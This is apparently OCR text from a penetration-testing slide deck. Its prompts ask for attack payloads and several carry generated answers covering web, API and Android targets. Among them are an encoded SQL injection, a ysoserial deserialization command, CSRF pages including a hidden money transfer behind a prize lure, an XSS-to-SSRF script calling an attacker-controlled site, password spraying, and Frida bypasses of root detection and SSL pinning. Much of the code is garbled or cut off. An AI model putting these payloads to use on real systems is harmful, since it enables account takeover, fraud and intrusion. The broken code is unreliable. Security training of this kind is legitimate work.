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Web Application Attack



Create multiple payloads for XSS by applying URL
encoding




Create multiple payloads for XSS applying H
entities and Unicode Escape Sequences

ML



Decrypt the following jwt token

eyJraWQiOiJIMWYyMzczMCOBNDUXLTRjMTMLYWY
1Z104M2Y2MmMxYmYZzOGE1LCJhbGc101JSUZITN
1J9.eyJpc3MiOiJwb3J8c3dpZ2dlciIsInN1Yil
6IndpZW51ciIsImV4cCI6MTY3MzgwMTUXNHO .
NpgK9D01KKauq®iI255qeSHbYVyEv8Ze90DebVf
Kdh6VkJOfOMOL5o_rpwvtxxHsakeZPXN8ktG1S
L5y9I-

D2z fHhLMI3hWGXXdXVXywB8GGbOk fCmJJWyDD1jP
rQYveqJbB2uPvsDs7IkVhyk1K89-Q2wo
AGQU4KVAiXBa7tM-
pWIgsqn8w9D11jNc1cfMJIByYV]jfmo5qEOTIaFM1Tk
NvzfYuihsdjTZDOA®BZgD
j9K3eryQn1zPJh7hMp6onimwK1ieQ_a0-

dIWZ _x3bXYootpX0881ijfdmL12VKr9_RKv9ppQiD
bgXv
YsTC36482W1c5LRfCOx_XE_VaQu62a8Q18hA

"kid": "el1f23738-4451-4c13-aebf-83162c1bf38a",
"alg": "RS256"

*iss": "portswigger",
“sub”: “wiener”,
Texp’: 1673821514

}

VERIFY SIGNATURE

RSASHAZ56 (
base64Ur1Encode(header) + "." +
base64UrlEncode(payload),

https://infosecwriteups.com/jwt-authentication-bypass-via-

unverified-sighature-portswigger-simple-solution-writeup-

2023-c306bdf7celb



https://infosecwriteups.com/jwt-authentication-bypass-via-unverified-signature-portswigger-simple-solution-writeup-2023-c306bdf7ce1b

Create multiple payload to XXE Injection




Create payload of XXE Injection to XSS




Development vulnerable code Insecure
Deserialization in PHP

< ?php
class User{
public $username;

public $password;

ddata = file pget_contents{'php://input');

fuser = unserialize(%data);

if(fuser->username == “admin” && fuser->password == "password”){

/f Grant access
H
else{

I/ Deny access




java -jar ysoserial.jar CommonsCollectionsl “cmd /c calc” » payload.ser




SELECTH28*%28FROME20usersB2WHERER2Busername="%252 7% 200R%201=1%20 - -%2527

SELECT #* FROM users WHERE username=' OR 1=1 --"




paraml=5ELECTX20*%28F ROME20usersE20WHEREX2Ousername="
paraml="%200R%281=1
param3=%2a--




Create a PoC CSRF to Bypass origin header

<html>
<body>
<form action="http://vulnerable-site.com/change-password” method="POST">

<input type="hidden" name="password" value="newpassword">

<input type="hidden" name="csrf_token" value="12345"3
<input type="submit" walue="Change Password™>

</form>»

<script>
/{ Removing the Origin header
delete XMLHttpReguest.prototype.withCredentials;
document , forms [8] . submit();

</script>

</body>
</html>




Create a PoC CSRF with JSON and XML
Request

<html>
<body>
<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
#hr.open("POST", "http://vulnerable-site.com/change-password®, true);

<html>
<body?>
¢sCriptr
function submitRequest() {
var xhr = new ¥MLHttpRegquest();

whr.setRequestHeader("Content-Type"”, "application/json");
whr.withCredentials = true;
shr.send(JSON. stringify({

"password": "newpassword"”,
"csrf_token™: "12345"
i) H
¥
<fscript>
<button onclick="submitRequest()">Change Password</button>
</body>
</html>

xhr.open("POST", "http:// vulnerable-site.com/change-password”, true);

xhr.setReguestHeader (" Content-Type™, "application/wxml™};
xhr.withCredentials = true;
var sml = "{reguest>{password>newpassword</fpassword>
<csrf_token>12345</csrf_token»</request>";
xhr.send(xml);
¥
<fscript>
¢button onclick="submitReguest




Create example Open Redirect bypassing
filters




Create multiples LFI payload using multiples
techniques to encoding




Create vulnerable LFl code in PHP




Create multiple OS Command Injection payload
using multiple technigues to bypass and encoding

http://vulnerable-site.com/index.php?
cmd=ping%2 7%65%7 580 1% 0 d%7 7% CE60% . eX6 3% TRed




Example Authentication Bypass using
Subdomain Takeover and Tools




Create Example Payload XSS to SSRF

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://vulnerable-server/ssrf?url=http://attacker-

controlled-site.com™, true);
xhr.zend();
</scripts




<script:

var xhr = new XMLHttpRequest();

xhr.open{"POST", "http://vulnerable-site.com/login", true});
xhr.setRequestHeader{"Content-Type™, "application/x-www-form-urlencoded™};

axhr . send{ "username=attacker&password=password");

<fscript>




<form action="http://vulnerable-site.com/login" method="POST">

<input type="hidden" name="username” value="victim-username"3»

<input type="hidden" name="password” value="victim-password”»
<input type="hidden” name="2fa" id="2fa">
<fform>

«script>

document.getElementById("2fa").value = prompt(“Enter 2ZFA code:");
document.forms[@].submit()};

</script:




sre="http: //wvulnerable-site.com/transfer?

<iframe style="display:none;’
amount=1088&to=attacker-account " »<fiframe>»
<a href="#" onclick="document.forms[8].submit()"»C1lick here to win a prize</fa>




AP| PenTest



Example Rate Limit exploitation in API




Example NoSQL Injection in APl Endpoint




Example Vulnerability Scan in AP| using
Susanoo




Example Exploiting flawed JWT signature
verification




Brute-forcing secret keys JWT using hashcat




Example Exploitation IDOR in Web API




xample code Exploitation IDOR in Web API

from flask import Flask, request
from flask_restful import Api, Resource

app = Flask({__name_ )
api = Api(app)

class Product{Resource):
def get(self, product_id):
# This should be a guery to a database
product = {1: {"name"”: "productl”, "price": 18a},
2: {"name": "product2”, "price": 280}}
if product_id in product:
return product[product_id]
else:
return "Product not found®, 484

api.add_resource(Product, '/product/<int:product_id:'}

_ name__ == '_ main_ ':

app.run{debug=Trus)




Discovery API Endpoint techniques using tools




Example Enumerate user account in a Rest
API

import requests

# List of test usernames

usernames = ["testuserl”, "testuser2", "testuser3”, "admin"]

# API endpoint for user authentication
url = "htips://example.com/api/login"

for username in usernames:
# Craft the request with the test username
payload = {"username”: username, “password”: "password’}

response = requests.post(url, json=payload)

if response.status_code = 220:
print(f’'{username} is a valid account'})
else:
print{f' {username} is not a valid account"}




Example Discovery APl Content with
Kiterunner

from kiterunner import Kiterunner

kr = Kiterunner()

# Define the API endpoint

url = "https://example.com/api/users"”

# Send a GET request to the API endpoint
response = kr.get{url)}

# Extract the data from the API response
data = response.json(}

# Print the extracted data
print{data)




Example APl Endpoint Passwor

attack

import requests

# API endpoint for user authentication

url = "https://example.com/api/login”

# List of commonly used passwords
passwords = [“passwordl”, "1234", "Welcomel"]

# List of usernames to spray
usernames = [“testuserl™, "testuser?”, "testuser3i”,

d Spraying



Example Cross API Scripting attack

import requests

# API endpoint for user input

url = "https://example.com/api/search™

# Malicious script

malicious_script = “<scriptralert(’XAs Attack’)</script:”

# Payload with the malicious script

payload = {"query”: malicious_script}

# Send the request to the API

response = requests.get(url, params=payload)




Example APl Automating Evasion with Wfuzz

from wfuzz import FuzzSession

# API endpoint to test
url = "https://example.com/api/login™

# Parameters to test

parameters = ["username”, "password”]

# Values to test

values = ["admin”, " d”, "testuser”, "test

session = FuzzSession()

# Fuzzing the login endpoint
for parameter




Example Origin Header Spoofing in API
Endpoint

import requests

# API endpoint
url = "https://example.com/api/data”

# Spoofed origin
spoofed_origin = "hitps://attacker.com”

# Request headers
headers = {"Origin": spoofed_origin}

# Send the request

response = requests.get(url, headers=headers)




Example Bypass of CSRF protection in
GraphQL

import requests

# GraphQL endpoint
url = "https://example.com/graphgql”

# Extract the anti-CSRF token
response = requests.get(url)

csrf_token = response.headers["X-CSRF-TOKEN"]

# New payload that performs an unwanted action

payload = {"query"”: "mutation { deleteAccount }"}

# Headers with the anti-CSRF token
headers = {"X-CSRF-TOKEN": csrf_token}

# Send the request with the new payload
response = requests.post(url, json=payload, headers=headers)




Example Missing Validation of Custom Scalars
in GraphQL AP

import requests

# GraphQL endpoint
wrl = "https://example.com/graphgl™

# Query that includes a string that does not match the validation rules of the

Email scalar
query = """
mutation {
createUser(email: "notvalidemail@com™) {
id
email

# Send the query
response = reguests.post{url, json={"ouery": query})




Example Batching Attack in GraphQL

import requests

# GraphQL endpoint
url = "https://example.com/graphgl”

# Malicious queries

gqueries = ["""

query {
getProduct{id: 1) {

query {
getProduct{id: 2) {

query {
getProduct{id: 3) {

amng

# Send the gueries in a single batch reguest

response = requests.post{url, json={ cgueriesz": queries}}







Mobile PenTest - Android



Example Reverse Engineering APK using
Apktool, Dex2jar and JD-Gui




Example Signing modified apk with apktool

apktool b example -o example-modified.zpk

keytool -genkey -v -keystore my-release-key.keystore -zlia= alias_name -keyalg
RSA -keysize 2045 -validity 10060

jarsigner -verbose -sigalg SHAlwithRSA -digestalg SHA1 -keystore my-release-
key.keystore example-modified.apk alias_name

Jjarsigner -verify -verbose -certs example-modified.apk




Install Frida-server in Android

adb push frida-server-12_Z_2¢-android-arméd.xz fdata/locz1/tmp/

unxz -c frida-server-12.5.28-android-arm64.xz > frida-server

chmod +x frida-server

.ffrida-server &




Create launch app with Frida using python

import frida

def on_mezzage(message, data):
print{message)

device = frida.get_usb_device()

pid = device.spawn{["com.example.app”]}

session = device.attach(pid)

script = session.create_script("""
Java.perform{function() {

console.log("App launched!™);

s

vy

script.on(“message”, on_message)

script.load()

device.resume(pid)




xample initial Frida hooking in APK

import frida

session = frida.get_usb device().attach("com.example.app™)

script = session.create_script("""
Interceptor.attach{Module.findExportByName{null, "functionToHook™"), {
onEnter: function(args) {
console.log{"Function hooked!");




Create script frida to hooking getproperty

Java.perform{function(}) {

// Find the class

var properties = Java.use{"android.os.SystemProperties™};

// Hook the getProperty method
properties.getProperty.implementation = function(name} {
console.log{"[+] getproperty: " + name);
return this.getProperty.czl1{this, name};
X
hH

script = session.create_script(script_text)
script.load()




xample Anti-root bypass using Frida

import frida

session = frida.get usb_device().attach("com.example.app”)

script = session.create_script{"""
var rootDetection = Java.use{"com.example.app.RootDetection”) ;
rootDetection.isDeviceRooted. implementation = function() {
console.log("[+] Root detection bypassed!™);

return false;

script.load()




Example Script Frida Hooking functions
without parameters

/f Attach to the running process

var process = Process.attach("com.example.app"};

/F Get the address of the function to hook
var targetFuncAddr = Module.findExportByName({"libexample.so”, "targetFunc"};
con=ole.log("[*] targetFunc address: * + targetFuncAddr);

/f Create a trampoline to the original function

var trampoline = new MWativelallback{function () {
console.log{"[*] Inside custom function"};
/f Execute original function
trampoline.call{);

T, Cvoldt, [D;

/7 Replace the target function with the trampoline
Interceptor.replace(targetFuncAddr, trampoline);

console.log("[*] Hooked targetFunc™);




Example Frida Script Hooking Strings

[/ Attach to the running process

var process = Process.attach(”com.example.app”);

/F Iterate over all memory ranges of the process
Memory.enumerateRangesSync({ protection: "rw-', executable: true
1) .forEach{function {range) {
// Search for strings in the memory range
var strings = Memory.scanSync(range.base, range.size, '90°);
strings.forEach{function (string) {
// Hook each string
Interceptor.attach{string.address, {
onEnter: function (args) {
console.log({"[*] String found: " +
Memory.readUtFEstring(string.address)) ;
H
i
s
hH
console.log("[*] Hooked all strings");




How to Rooting Device using Magisk




Example Memory Corruption in APK Android
using ADB




Example Insecure Storage exploitation in APK
Android




Create Decode String MD5 in Java with
Shared Preferences APK

import java.security.MessageDigest;
import android.content.Context;
import android.content.SharedPreferences;

public class MD5Decoder {
private static final String PREFS_NAME = "MyPrefsFile";
private static final String EMCODED_KEY = "encoded_string”;

public static void saveEncodedString(Context context, String string) {
try {
// Encode the string using MDS
MessageDigest md = MessageDigest.getInstance("MD5"};
md.update(string.getBytes());
byte[] digest = md.digest(});
String encodedString = new String(digest);

/f Save the encoded string to Shared Preferences

SharedPreferences settings =
context.getSharedPreferences (PREFS_NAME, 2);

SharedPreferences.Cditor editor = settings.edit();

editor.putString(ENCODED_KEY, encodedString);

editor.apply();

} catch (Exception e) {
/# Handle any exceptions here

public static String getEncodedString(Context comtext) {
SharedPreferences settings = context.getSharedPreferences (PREFS_NAME,

return settings.getString (ENCODED_KEY, "");




Example Insecure Logging Android APK
Exploitation




Example Analysis APK using Mobst,
Androbugs, QARK and Drozer




Create Example Login User Interface Apk
Android using Java

<TextView
android

android:

androi

android:

<EditText

androi

android:
android:

androi

android

<EditText

android:

androi

android:
android:

android: input Type="textPassword"

android

<Button

android:

android:
android:
android:

id="@+id/ty_title"

android:

layout_width="wrap_content"
layout_height="wrap_content"

rtext="Netflix Login"

textSize="24sp"

:textStyle="bold"
android:

layout_marginTop="2@dp"
layout_gravity="center_horizontal® f»

id="@+id/et_email"
layout_width="match_parent”
layout_height="wrap_content"
hint="Email®

rinput Type="textEmailAddress"
android:

layout_marginTop="2@dp" f>

idg="@+id/et_password”
layout_width="match_parent"
layout_height="wrap_content"
hint="Password"

:layout_marginTop="18dp" f>

id="@+id/btn_login”

android: layout_width="match_parent"

layout_height="wrap_content"
text="Login"
layout_marginTop="2@dp" f>

TextView tvTitle;
EditText etEmail, etPassword;
Button btnLogin;

@0verride
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main};

twTitle = {TextView) findViewById(R.id.tv_title);
etEmail = (EditText) findViewByTd(R.id.et_email);
etPassword = (EditText) findViewById(R.id.et_ password);
btnLogin = (Button) findViewById(R.id.btn_login};

<Button
android:id="@+ids/btn_login

public void onlLoginClick{View view) {
String email = etEmail.getText().toString();
String password = etPassword.getText()}.toString();

if (email.equals("test@example.con™) &% password.equals(“test123"})) {
// Login successful, navigate to next activity
Intent intent = new Intent(this, MainMenuActivity.class);
startActivity(intent);
} else {
/f Login failed, display error message
Toast.makeText(this, "Tnvalid email or password”,
Toast .LENGTH_SHORT) .show();
¥




Example Exploitation Activity in APK Android




Multiple Examples Exploitation APK using
Frida




Example SSL Pinning Bypass using Frida

/f Find the class that performs the SSL certificate verification

var S5lVerificationClass = Java.use{"com.example.app.SSlWerificationClass");

/f Replace the original verify() method with a custom one that always returns

true
S5lverificationClass.verify.implementation = function() {
console.log{"[*] Bypassing 55L Pinning..."};

return truej




Frida bypass emulator detection

/f Find the class that performs the emulator detection

var EmulatorDetectionClass = Java.use{"com.example.app.EmulatorDetectionClass");

/7 Replace the original isEmulator() method with a custom one that always

returns false

EmulatorDetectionClass.isEmulator.implementation = function() {
console.log("[*] Bypassing emulator detection...™);

return false;
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